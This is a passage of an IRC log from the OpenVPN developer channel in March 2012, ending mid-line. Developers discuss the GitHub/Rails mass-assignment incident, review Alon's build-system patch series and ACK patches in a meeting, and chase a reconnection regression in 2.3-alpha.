23:42 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] --- Day changed Tue Mar 06 2012 01:48 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:48 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:37 <@cron2> heh 02:38 <@cron2> Mr Dash Four and $someone else getting into a fight about static Open*SSH* on yet another list - and Alon is there as well, pointing back to the OpenVPN mudfight with Mr Dash Four :-) 02:38 <@cron2> small world 02:59 <@mattock> yeah 02:59 <@mattock> and peter stuge is there also 03:02 <@mattock> static linking semi-troll? 03:11 -!- dazo_afk is now known as dazo 03:11 <@cron2> hehe, yes :-) 03:14 <@dazo> mattock: did you catch the news that github was hacked in very recently? 03:14 <@mattock> dazo: nope 03:14 * dazo will find the link 03:14 <@mattock> good thing we did not comment on alon's patches there... or our comments could have been abused :D 03:14 <+krzee> http://www.extremetech.com/computing/120981-github-hacked-millions-of-projects-at-risk-of-being-modified-or-deleted 03:14 <@dazo> krzee: thx! 03:15 <@vpnHelper> Title: GitHub hacked, millions of projects at risk of being modified or deleted | ExtremeTech (at www.extremetech.com) 03:15 <+krzee> np =] 03:15 <@dazo> mattock: it's worse ... some one managed to get commit access to branches he was not supposed to have commit access too 03:16 <@dazo> (which is why I like the sf.net approach better ... if it's hacked, we wipe the directories with the git repos, and I push out a new fresh one from my own box) 04:11 <@cron2> woops 04:11 <@cron2> but indeed, securing open source development environments seems to need more priority these days 04:14 <+krzee> funny thing is that every time i hear of something like that getting owned, i hear pissed of hackers complain about some dumbass getting one of their bugs found 04:14 <+krzee> off* 04:15 * cron2 actually appreciates if someone finds one of my bugs - I take care to hide them well, so it's a worthy challenge :-) 04:15 <+krzee> haha i mean the hackers 04:15 <@cron2> (but then, I'm not your typical teen hacker anymore, since over two decades now...) 04:15 <+krzee> the ones who dont want anyone fixing the bugs they find i mean 04:15 <@cron2> ah, those :-) 04:25 <@dazo> yeah ... and for me, I evaluate the how serious providers are, based on how the react publicly to such things ... The more humble the reaction is, the better I like it ... but it's not fun to be exploited by an exploit which has been known for years ... which also can say a lot about the security mentality 04:27 <+krzee> ya that one was bad 04:28 <+krzee> and much less of what i meant, as it was certainly not 0day 04:29 <@dazo> exactly ... I can be kind when it comes to 0day attacks, as that's difficult to defend your self against ..... but a "4*365days attack" ... 05:04 <@dazo> http://chrisacky.posterous.com/github-you-have-let-us-all-down ... this adds another perspective as well to the github incident 05:04 <@vpnHelper> Title: GitHub and Rails: You have let us all down. - Code Space (at chrisacky.posterous.com) 05:11 <@mattock> ok, more of Alon patch review tomorrow 05:11 <@mattock> fairly nice patches to review, clean enough and mostly refactoring 06:01 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Read error: No route to host] 06:44 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 06:44 -!- mode/#openvpn-devel [+o cron2] by ChanServ 06:44 <@cron2> freenode is sucky these days... 06:46 <@dazo> yeah :( 10:28 < ecrist> you've noticed, too, eh? 10:28 < ecrist> I get disconnected pretty regularly. 10:37 <@cron2> yeah, same here, and I haven't taught irssi to auto-re-identify (which supposedly can be done) so I usually lose a few hours of #openvpn-devel before I notice... 10:41 <@dazo> we usually wait for you to disconnect, cron2, so we can back-stab you ;-) 10:49 < ecrist> indeed 10:49 < ecrist> you should be glad you weren't here earlier. what we said about your mother would have made you sick. 11:01 -!- raidz_afk is now known as raidz 12:44 -!- dazo is now known as dazo_afk 13:18 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 15:21 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:21 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:06 -!- raidz is now known as raidz_afk 21:18 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 22:14 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:14 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Wed Mar 07 2012 03:24 -!- dazo_afk is now known as dazo 03:32 <+krzee> dazo, did you ever read about that guys post on github? 03:32 <+krzee> he dated a post 1000 yrs in the future, as the robot bender from futurama, LOL 03:32 <@dazo> yeah :) 03:33 <+krzee> also i read that the admins had deleted a thread about the bug 03:33 <@dazo> the good thing ... Rails and the backends seems to tackle Y3K issues pretty well, so that's something at least! 03:33 <+krzee> lol 03:35 <@dazo> that's just insanely crazy ... deleting threads about a serious bug ... you really wonder what makes people do that 03:41 <+krzee> especially with how easy the bug was fixed 03:41 <+krzee> its my understanding all they needed to do was update ruby 03:41 <+krzee> which is only slightly harder than deleting the thread, lol 03:41 <@dazo> Yeah, not sure if it was the core Ruby, or just the Rails component 03:42 <+krzee> true 03:42 <@dazo> I thought it was just Rails which needed this fix ... and the fix is a no-brainer 03:42 <+krzee> ya i think you're right 03:42 <@dazo> it's actually Rails equivalent to PHP's register_globals={on,off} 03:42 <+krzee> oh god 03:42 <@dazo> yeah, it's that insane 03:43 <+krzee> just a simple config option? not even an update! 03:43 <+krzee> that IS easier than deleting the thread 03:43 <@dazo> let me find the commit ... it's already committed 03:43 <+krzee> at least i knew how to update a config before i knew how to delete a thread on a forum 03:43 <+krzee> hehe 03:43 <@dazo> https://github.com/rails/rails/commit/641a4f62405cc2765424320932902ed8076b5d38 03:43 <@vpnHelper> Title: Whitelist all attribute assignment by default. · 641a4f6 · rails/rails · GitHub (at github.com) 03:44 <@dazo> they needed implement "reqister_globals" 03:44 <@dazo> which are 3 lines in model_generator.rb 03:44 <+krzee> 321 + def test_attr_accessible_added_with_non_reference_attributes 03:44 <+krzee> 322 + run_generator 03:44 <+krzee> 323 + assert_file 'app/models/account.rb', /attr_accessible :age, :name/ 03:44 <+krzee> 324 + end 03:44 <+krzee> boy i dont wanna learn ruby 03:44 <+krzee> lol 03:44 <@dazo> that's just the test case 03:45 <@dazo> Rails is developed using agile methods, I believe ... so each new feature need to have a test case before implementing the feature 03:47 <@dazo> Ruby in itself, seems to be a very sensible language in many aspects .... but the Rails component, I'm not sure I like that one as much 03:47 <@dazo> (it makes it almost too easy to write fancy web sites, without deep understanding of what you do) 03:49 <+krzee> while i sludge through making web interfaces in bash 03:49 <+krzee> lol 03:49 <@dazo> hehehe 03:50 <+krzee> kinda sad, yet kinda cool too 03:53 <@dazo> it sure says you know your sys-admin stuff :) 03:54 <+krzee> lol thx 03:56 <@dazo> krzee: on a not related topic ... if you were to setup a pure webmail solution (IMAP/POP3 server already exists) ... what would you choose? 03:57 <@cron2> roundcube 03:57 <+krzee> ive head good things about roundcube, ive always used squirrelmail 03:57 <@dazo> In the beginning I would need POP3 support ... before stuff is moved over to new provider which has IMAP support 03:59 <@dazo> roundcube looks slick and nice 04:04 <@cron2> I'm not sure about POP3, I've only used roundcube with IMAP so far (and that was very easy to set up) 04:04 <@dazo> it seems to be IMAP only .... but still too interesting to not ignore :) 04:04 <@cron2> squirrelmail is nice, but is sort of a "web 1.0" application - looks quite web-ish, while roundcube looks more like a "mail program" 04:04 <+krzee> but you may be able to grab pop3 and store messages in imap format 04:05 <+krzee> it doesnt really need an imap server, just a local imap dir with messages in it... 04:05 <@cron2> otoh, roundcube has higher load on server and needs javascript on client 04:05 <+krzee> no reason that couldnt be a script populating your imap dir 04:05 <@dazo> krzee: could be done ... but it will be on a box where I want as little maintenance as possible :) 04:05 <+krzee> ya i dunno why but i like that about squirrelmail 04:06 <+krzee> 90's web style 04:06 * cron2 has both on his server :-) and has mainly used roundcube recently 04:06 <@cron2> it's really a matter of taste 04:06 <+krzee> example, i liked hotmail before microsoft bought it 04:06 <@dazo> well, for non-tech users .... eye-candy is important 04:07 <+krzee> oh ya totally 04:07 <@dazo> which favours roundcube ... but in a transition phase from POP3 to IMAP, squirrel might do the job 04:16 <@dazo> cron2: do you use the LDAP address book implementation? 04:17 <+krzee> im about to learn to impliment my first ospf setup with quagga, any chance one of you ninjas has already crossed this bridge? 04:17 <@dazo> not me ... I'm a junior when it comes to such net-admin stuff 04:19 <+krzee> this is my first time with an excuse to learn a 'real' routing protocol 04:29 <@cron2> dazo: no, just ver ybasic stuff 04:29 <@dazo> thx! 04:29 <@cron2> krzee: from what I hear, all routing protocols except BGP are "not exactly considered stable" in quagga... 04:34 <+krzee> oh, any suggestion for a better ospf daemon for linux? 04:37 <@cron2> I've heard great things about BIRD (http://bird.network.cz). 04:38 <@vpnHelper> Title: The BIRD Internet Routing Daemon Project (at bird.network.cz) 04:38 <@cron2> not tried it myself yet, though 04:43 <+krzee> BIRD IS THE WORD! 04:54 <@cron2> dazo: so what's the plan to handle integration of Alon's magic? 04:54 <@dazo> cron2: I'd suggest sprint meetings, where we take what is not ACKed on the ML ... patch by patch, and ACK them directly there 04:55 <@dazo> the I'll pull them in, one by one 04:55 <@dazo> I want to have the ACKs on the ML, not in a web-gui ... and maybe especially not at github with the recent incident, which Alon suggested 04:56 <@dazo> distributed ACKs on ML, esp. if mails are PGP signed ... that's not easy to forge 05:38 <+krzee> thanx cron, bird looks nice 06:16 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 06:16 <@cron2> dazo: can you do that, pull them in one-by-one, without everything falling apart? 06:18 <@dazo> cron2: most of them, yes ... at least until we nack something which causes nasty conflicts later on ... but minor conflicts is possible to escape too ... however, I suggest that we temporarily just holds patches we're about to NACK - to see if later patches fixes what we don't like 06:18 <@cron2> sounds good 06:19 <@dazo> and that we apply our fixes on top of Alon's, just to escape potential issues 06:19 <@dazo> we will actually then have "Conditional ACKs" 06:56 <@mattock> maybe ACK/NACK Alon's patches next week's Thursday? 06:57 <@mattock> I can run through them tomorrow and on Friday 06:57 <@mattock> today was too busy unfortunately 06:58 <@dazo> sounds good to me 09:44 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 10:52 -!- raidz_afk is now known as raidz 11:12 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:12 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:58 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 12:46 -!- dazo is now known as dazo_afk 12:59 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 13:02 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn-devel [] 13:08 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 13:34 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 14:29 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 14:30 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 14:30 -!- mode/#openvpn-devel [+o andj] by ChanServ 16:14 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 248 seconds] --- Day changed Thu Mar 08 2012 02:12 -!- dazo_afk is now known as dazo 04:54 <@mattock> so many patches... no wonder these big patch sets take so much time to review 04:59 <@dazo> then imagine the linux kernel list ... where it is something like 3-500 patches per hour ... 05:00 <@dazo> (of course, there are separate lists for sub-groups, which Cc lkml ... where the reviewing and pulling happens) 05:04 <@mattock> yeah, surprising it even works :D 05:04 <@mattock> now it's lunch time 05:04 <@mattock> :P 07:13 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 07:30 <@mattock> dazo: Alon's refactorings have the side-effect that soon James' changes won't merge at all without modification 07:30 <@dazo> I know 07:30 <@mattock> I warned James about that earlier, but looking at the patches makes it even more clear 07:31 <@dazo> well, I'm basically cherry-picking James' changes ... so I now then need to do format-patch and git apply in the src/openvpn directory instead 07:31 <@mattock> yep 07:31 <@mattock> or better yet, move James finally to 2.3 07:31 <@mattock> there's actually nothing stopping him, except the being swamped thing 07:31 <@dazo> but he is really falling behind, and I'll just point him if there are merge conflicts, not putting much effort myself into solving it 07:31 <@mattock> yeah, you should not 07:32 <@dazo> once was enough :) 07:32 <@mattock> yep, the "heroic merge" :D 07:32 <@dazo> yeah 07:32 <@mattock> that's something we have to write to our "OpenVPN memoirs" :D 07:33 <@mattock> "OpenVPN - the Action Movie" 07:36 <@dazo> heh 07:37 <@mattock> ...hopefully they don't make a sequel... they're always bad 07:37 <@mattock> except for Mad Max 2 07:37 <@dazo> hahahaha 07:38 <@mattock> that said, wearing hockey gear in a desert is probably sweaty business :P 07:39 <@mattock> just for reference, the are the patches from the 00/52 series I did not comment on, ACK: 07:40 <@mattock> 01, 03, 05, 10, 13-15, 22-26, 30, 32-34, 39-40, 43, 45 07:41 <@mattock> if somebody else feels like taking a poke at them 07:41 <@mattock> still got to review the last two 08:01 <@mattock> ok, done 08:01 <@mattock> a small break and then onto OpenVPN-GUI buildsystem patches 08:34 <@mattock> easy-rsa done, no comments on the GUI stuff 08:34 <@mattock> I'll leave the TAP-driver for tomorrow and look what kind of outburst my comments have created on the ml, if any 08:37 <@mattock> dazo: actually, I got AES-NI in my laptop 08:37 <@mattock> got to try if my debian packages have support built-in 08:41 <@dazo> hehe :) 08:41 <@dazo> it has best effect if the server also supports it, of course ... and if you use AES encryption, of course 08:42 <@dazo> mattock: thx a lot for all your reviews! 09:04 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 276 seconds] 09:18 <@mattock> np 09:18 <@mattock> will continue tomorrow 10:35 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Quit: EvilJStoker is gone :(] 10:44 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 12:10 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 12:10 -!- mode/#openvpn-devel [+o andj] by ChanServ 13:18 -!- dazo is now known as dazo_afk 15:25 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 19:10 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 245 seconds] 19:22 -!- raidz is now known as raidz_afk 19:41 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 19:41 -!- mode/#openvpn-devel [+o andj] by ChanServ 19:48 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 252 seconds] 19:50 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 19:50 -!- mode/#openvpn-devel [+o andj] by ChanServ 20:06 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 252 seconds] 20:43 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 20:43 -!- mode/#openvpn-devel [+o andj] by ChanServ 21:22 -!- szlin [~szlin@alumni.cs.nctu.edu.tw] has joined #openvpn-devel --- Day changed Fri Mar 09 2012 01:29 -!- dazo_afk is now known as dazo 07:18 * d12fk is unsure if he should post his findings on securing openvpn.exe through the service on the list. 07:19 <@d12fk> there won't be any productive feedback anyway and i can spare the shitstorm 07:20 <@d12fk> ah well what the hell. i'll be manly once. =) 07:39 <@mattock> d12fk: please do, if there's no productive feedback then nothing is lost (except your nerves, perhaps :P)... but there might be something to gain 07:42 <@d12fk> just clciked the send button 07:43 <@d12fk> or something like that =) 08:26 <@dazo> d12fk: if you had posted it 30 min later or so ... you could probably have started weekend without too much risk of getting any shitstorm before leaving work this week ;-) 08:26 <@dazo> (on the other hand, you wouldn't know what would wait in your mailbox on Monday then ......) 08:28 <@dazo> but from what I can understand, not knowing Windows infrastructure at all, it makes sense what you write 08:55 < ecrist> !learn d12fk as Let it be known that, on this day, the 9th day of March in the year Two Thousand Twelve that d12fk's balls did descend and he said unto the people: <@d12fk> ah well what the hell. i'll be manly once. =) 08:55 <@vpnHelper> Joo got it. 08:57 <@d12fk> lol 08:57 < ecrist> :D 09:36 <@dazo> lol 11:10 -!- raidz_afk is now known as raidz 12:38 -!- dazo is now known as dazo_afk 19:09 -!- raidz is now known as raidz_afk --- Day changed Sun Mar 11 2012 10:06 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 22:40 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Quit: svimik@mail.ru] --- Day changed Mon Mar 12 2012 03:09 -!- dazo_afk is now known as dazo 10:25 * dazo just hacked gopenvpn into a state where it seems to be somewhat useful on Fedora ... using PolicyKit 11:13 <@vpnHelper> RSS Update - wishlist: Ignore push route if IP conflict <http://forums.openvpn.net/topic10049.html> 11:25 -!- raidz_afk is now known as raidz 11:39 -!- dazo is now known as dazo_afk 17:46 -!- raidz is now known as raidz_afk --- Day changed Tue Mar 13 2012 01:36 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 244 seconds] 01:37 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 244 seconds] 01:53 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 03:05 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 03:05 -!- mode/#openvpn-devel [+o cron2] by ChanServ 04:16 -!- dazo_afk is now known as dazo 04:49 -!- Netsplit *.net <-> *.split quits: jamxNL, EvilJStoker 04:55 -!- Netsplit over, joins: EvilJStoker, jamxNL 05:07 <@d12fk> *rant submitted* 05:30 <@d12fk> is there a release schedule for 2.3 or is it ready when it's ready 05:32 <@d12fk> one of our users discovered the changed subject DN format 05:42 <@dazo> d12fk: hopefully during the late autumn probably .... but nothing is carved into stone yet 05:53 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 05:53 -!- mode/#openvpn-devel [+v janjust] by ChanServ 10:08 <@d12fk> strange git am does not like alons gui patches mostly 10:08 <@d12fk> dazo: did you experience anything like that with git am so far? 10:09 <@dazo> no, not really ... but haven't tested all of his stuff from ML lately, though 10:09 <@dazo> what happens? 10:09 <@dazo> sometimes, it's some kind of merge conflicts .... that I have seen from some others from time to time 10:09 <@dazo> sometimes, doing 'git am --whitespace=fix' helps ... other times, I do: 10:10 <@dazo> git am --whitespace=fix $patch 10:10 <@dazo> (it fails) 10:10 <@dazo> patch -p1 < $patch 10:10 <@dazo> (usually works) 10:10 <@d12fk> very strange, the dos3unix stuff is just an empty commit 10:10 <@dazo> git status; git add $files; git commit 10:10 <@cron2> daze: late *autumn*??? *scream* 10:11 <@dazo> cron2: is that a panic or thrilled scream? 10:11 <@d12fk> lol 10:11 * dazo imagines cron2 screaming like a teenager seeing her boyband idol 10:12 <@d12fk> yeah with the handwaving thing =) 10:12 <@dazo> and fainting! 10:12 <@d12fk> that explains to silence from munich =) 10:12 <@cron2> dazo: that's "I thought we would aim for end of 2011, and having missed that, $sometimesoon" not "$sometimemorethanhalfayearaway" 10:12 <@dazo> lol 10:13 * cron2 wants this *out* so we can focus on breaking it again for 2.4... 10:14 <@d12fk> dazo: do you want to wait until the elevation discussion is settled? it could get 2013... =) 10:16 <@dazo> yeah ... but we have a few issues which is not really identified why yet .... I've found a nasty bug in the server side code, I'm still trying to figure out how to exactly trigger it ... but basically sometimes if a reconnection is needed; it fails. The workaround is to reconnect with --explicit-exit-notify ... and then kill the connection and re-connect, then force a disconnect (send the exit-notify) ... on next clean connect, it'll wo 10:16 <@dazo> rk again 10:16 <@dazo> d12fk: I'm hoping to get something closer to a better management based GUI, yeah :) 10:16 <@cron2> "not releasing 2.3" isn't going to fix these issues any quicker... 10:17 <@dazo> I'm saying we need to fix it before releasing 2.3 ... that's a nasty regression 10:17 <@cron2> if they are fixed, we can always release 2.3.1 - plus any problems that the new plugin code, ipv6, or build system brought up :-) 10:17 <@cron2> is it a regression, as in "2.2 did not have it"? Or is it just a long-standing bug? 10:17 <@dazo> 2.2 is not having this issue 10:18 <@dazo> I got this on 2 of my setups after upgrading to 2.3-alpha 10:19 <@cron2> ok, in that case I agree it needs to be fixed. Weird, though, as the server side code hasn't really been changed very much 10:20 <@dazo> well, I just presume it is the server code ... as that's the only thing which is not restarted :) ... if you kill openvpn on the client, and re-connect without having exit-notify, it simply fails to reconnect for some time ... if you wait 5-10 minutes, it can reconnect ... so it's a session status in the server code somewhere, I believe 10:20 <@dazo> *it's related to a session st..... 10:21 <@cron2> can you reproduce it at will? in that case, the debug logs on the server should provide some insight, it's fairly verbose regarding client connects, ip-to-client mappings, etc 10:21 <@dazo> I've not had time to really make a real reproducer ... I've seen it a few times, and have been pondering on it while not being behind a computer :) 10:22 <@dazo> but I *believe* it is possible by connecting, do a kill -KILL of the client and then try to start the client again after 20-30 sec 10:22 <@dazo> but not had time to really validate that yet 10:37 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 11:20 -!- raidz_afk is now known as raidz 11:39 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 12:33 -!- dazo is now known as dazo_afk 13:16 <@mattock> who could attend an IRC meeting on Thursday at 18:00 UTC? 13:17 <@mattock> I think we should review the remaining buildsystem patches if possible 13:17 <@mattock> rather than let them slip in without proper review 14:02 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 14:27 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:27 -!- mode/#openvpn-devel [+o mattock] by ChanServ 16:02 <@cron2> mattock: I'll be sitting in a train - so I might join IRC (good 3G connectivity most of the time), web access might be somewhat problematic 19:03 -!- raidz is now known as raidz_afk 20:47 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn-devel [] --- Day changed Wed Mar 14 2012 01:40 <@mattock> cron2: ok 02:49 -!- dazo_afk is now known as dazo 02:50 <@dazo> mattock: I'm planning on meeting tomorrow 02:53 <@mattock> ok, I'll setup the agenda 02:53 <@mattock> anything else besides the buildsystem patches? 04:34 <@cron2> ah, tomorrow 04:34 * cron2 is confused 04:35 <@cron2> *today* is "cron2 sits in a train at meeting time" day, tomorrow I can't say yet, most likely I won't be able to attend 05:55 <@dazo> mattock: I think buildsystem patches are enough .... however, Alons questiong about which MSVC platform to support is appropriate to discuss first ... but that requires James' involvement 06:18 <@mattock> I'll ask James to attend 06:19 <@mattock> at least he can't blame we're constantly bugging him :D 06:21 <@dazo> hehe ... well, when he creates a project which gets so popular, he can only blame himself!! :-P 07:26 <@mattock> http://www.engrish.com/2009/11/which-way-to-the-normal-doctor/ 07:26 <@mattock> I like the "knife treatment room" 07:26 <@mattock> I'd like to get knife treatment, please 07:26 <@vpnHelper> Title: Which way to the normal doctor? | Engrish.com (at www.engrish.com) 07:46 <@mattock> february 2012 was the most active month on openvpn-devel mailing list 07:46 <@mattock> I wonder why :D 07:47 <@mattock> 528 mails 07:47 * dazo whistles innocently ........ 07:48 <@mattock> usually, it's around 100 mails or a little less 07:49 <@mattock> quoting andj: "oh, the openvpn-devel list is usually really quiet, you can subscribe to it safely" :P 07:50 * dazo would emphasise "usually" quite strongly here .... 08:01 <@mattock> topic list slowly forming... https://community.openvpn.net/openvpn/wiki/Topics-2012-03-15 08:01 <@vpnHelper> Title: Topics-2012-03-15 – OpenVPN Community (at community.openvpn.net) 08:12 <@mattock> ok, topic list almost ready, now checking the ACK status: https://community.openvpn.net/openvpn/wiki/Topics-2012-03-15 08:12 <@vpnHelper> Title: Topics-2012-03-15 – OpenVPN Community (at community.openvpn.net) 08:44 <@mattock> ok, I think all of my ACKs are now in there 08:44 <@mattock> dazo: can you take a look if you've already ACKed some of the patches? 08:44 <@dazo> Will do ... won't manage today ... but can do tomorrow before the meeting 08:44 <@mattock> ok 08:45 <@dazo> I acked several of the first patches in the first round ... so. I need to re-check those ACKs again ... but that's no problem 08:46 <@mattock> most of the patches are fairly trivial, fortunately 08:47 <@dazo> yeah, they are ... some of them which looks odd, makes also more sense when you see the whole picture 09:41 <@mattock> hmm, maybe adding a link to the "whole picture" would make sense 09:41 <@mattock> just a sec... 09:46 <@mattock> ok, added link to new buildsystem instructions 10:10 < ecrist> sup bitches? 10:11 * ecrist buys vB and vbSEO licenses today 10:18 <@mattock> we're fine, thanks for asking :) 10:39 * ecrist cries as $344 leaves paypal account 11:17 -!- raidz_afk is now known as raidz 12:03 -!- dazo is now known as dazo_afk 13:34 -!- raidz is now known as raidz_afk 13:35 -!- raidz_afk is now known as raidz 20:40 -!- raidz is now known as raidz_afk 20:55 < ecrist> ping raidz --- Day changed Thu Mar 15 2012 02:58 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 03:14 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:14 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:45 -!- dazo_afk is now known as dazo 08:37 <@dazo> mattock: I got the same build issue as you on your ubuntu box when testing build on F17 ... so I probably have what I need to reproduce it now :) 08:37 <@mattock> ok 08:37 <@mattock> let me know if you need any help 08:38 <@dazo> I'll probably ask you to try another build, when I have solved this issue :) 08:38 <@mattock> ok 09:33 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 272 seconds] 09:47 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:47 -!- mode/#openvpn-devel [+o mattock] by ChanServ 11:26 -!- raidz_afk is now known as raidz 12:50 <@mattock> almost meeting time... 13:03 <@mattock> ok, who is here? 13:03 <@andj> (half) 13:06 <@mattock> I mailed James but got no response 13:06 <@mattock> I'll poke him if he does not come soon 13:06 <@dazo> oh, it's that time already! 13:08 <@mattock> yep 13:08 <@mattock> mailed James 13:08 <@mattock> let's begin 13:09 <@mattock> topic list and patch status here: https://community.openvpn.net/openvpn/wiki/Topics-2012-03-15 13:09 <@vpnHelper> Title: Topics-2012-03-15 – OpenVPN Community (at community.openvpn.net) 13:09 <@mattock> dazo: are there dependencies between the patchsets? 13:10 <@mattock> the openvpn-gui patchset is independent, but the rest... 13:10 <@dazo> mattock: yeah, it is ... build revolution goes first ... but not sure about the two others 13:10 <@mattock> let's start with the build revolution one 13:10 <@mattock> shall we? 13:10 * dazo need 5 min 13:10 <@mattock> ok 13:11 <@mattock> patch 03/52 is the first un-ACKed one 13:11 <@mattock> I acked everything I could, but I skipped those patches which required non-trivial autotools knowledge 13:12 <@mattock> cron2: there? 13:12 <@andj> 03 seems relatively trivial, but as I said I'm half here... My development laptop isn't, so no compiling for me today :( 13:14 <@mattock> andj: is that an ACK? :P 13:14 <@andj> although slightly hesitant without being able to compile it, yes ACK 13:14 <@mattock> ah, it _is_ trivial 13:15 <@mattock> I think we should fix any issues later... I've tested the buildsystem in it's entirety and it worked fine 13:15 <@mattock> that is, it's really hard to tell if a patch works or not by just looking at it 13:16 <@mattock> added ACK from me and anj 13:16 <@mattock> andj 13:16 <@mattock> missed patch 01/52 13:17 <@andj> ehrm, not sure about that one 13:17 <@mattock> yeah, me neither 13:17 <@andj> why shouldn't it contain -? 13:17 <@mattock> no clue, that's why I didn't ACK it earlier... 13:17 <@dazo> I think that's more a recommendation ... f.ex. rpm packaging don't like that 13:17 <@andj> Is that a technical issue? or is it a pedantic issue 13:18 <@dazo> more pedantic 13:18 <@mattock> hmm, yes, rpms are picky 13:18 <@andj> aren't debs picky in the opposite way? 13:18 <@mattock> I wonder what would this change affect... 13:18 <@dazo> of course, it's far simpler to do rpm packages if we don't have '- 13:18 <@mattock> actually debs don't care afaik 13:19 <@dazo> yeah, I've never heard anyone complain about _ in deb earlier ... that was used throughout the 2.1 beta and RC 13:19 <@mattock> i.e. they check the version by sorting... so that 2.1-1 is older than 2.1-2 13:19 <@dazo> correct 13:19 <@mattock> and 2.1a is older than 2.1b 13:19 <@mattock> so I don't mind this change, and if it helps with rpms... why not 13:19 <@dazo> agreed 13:19 <@dazo> I'm ACKing it 13:19 <@mattock> ok 13:20 <@mattock> next patch: 10/52 13:20 <@dazo> (If I want a battle with Alon, it better be something worth fighting for :)) 13:21 <@mattock> lol :) 13:21 <@dazo> andj: patch 3 ... it's really redundant ... 13:21 <@dazo> #include "forward.h" 13:21 <@dazo> #include "configure.h" 13:21 <@dazo> -#include "forward.h" 13:21 <@andj> ack, I think he's right 13:22 <@dazo> forward.h is included twice in the same file :) 13:22 <@mattock> ah, alon has updated the topic page with new links... very nice 13:22 <@mattock> ok, 10/52 ack from andj 13:22 <@mattock> and dazo? 13:22 <@dazo> mattock: you skipped 5/52? 13:23 <@mattock> oops 13:23 <@mattock> was this 5/52 or 10/52 you just acked? 13:23 <@andj> 10 13:23 <@mattock> me confused :) 13:23 <@mattock> ok 13:23 <@dazo> mattock: I need to dig further on 5 .... unless d12fk is around and can look at it 13:23 <@andj> and for 05, I don't know... What's the difference? 13:24 <@andj> widechar vs utf? 13:24 * dazo dunno 13:25 <@dazo> andj: seems so! 13:25 <@dazo> http://msdn.microsoft.com/en-us/library/hf4y5e3w%28v=vs.80%29.aspx 13:25 <@vpnHelper> Title: printf Type Field Characters (CRT) (at msdn.microsoft.com) 13:25 <@mattock> skip that one, move to 13/52? 13:25 <@mattock> ah, let's wait 13:26 <@andj> is cmd a widechar? 13:26 <@mattock> no clue 13:27 <@dazo> WCHAR *cmd = wide_string (a->argv[0], &gc); 13:27 <@dazo> yes, it is 13:27 <@dazo> so that's an ACK from me at least 13:27 <@andj> ack 13:27 <@dazo> mattock: now we can take next ;-) 13:27 <@mattock> ok 13:28 <@mattock> nice 13:28 <@mattock> 13/52 13:28 <@andj> no idea :) 13:28 <@dazo> wow ... that's heavier 13:29 * dazo recalls this one' 13:30 <@dazo> I've ACKed it already ... didn't write any comments, but remember digging up info about that attribute stuff 13:30 <@dazo> it makes sense 13:30 <@dazo> (I acked it in the first round of patches Alon sent) 13:30 <@andj> skipping an ack, leaving it up to dazo :) 13:30 <@dazo> (there it is patch 8/35) 13:31 * dazo ACKs 13/52 13:31 <@mattock> ok 13:31 <@mattock> 14/52 13:32 <@andj> very pedantic 13:32 <@dazo> ACK on 14/52 ... I've fought that kind of battles before .... I don't mind that change at all 13:32 <@mattock> this sounds like 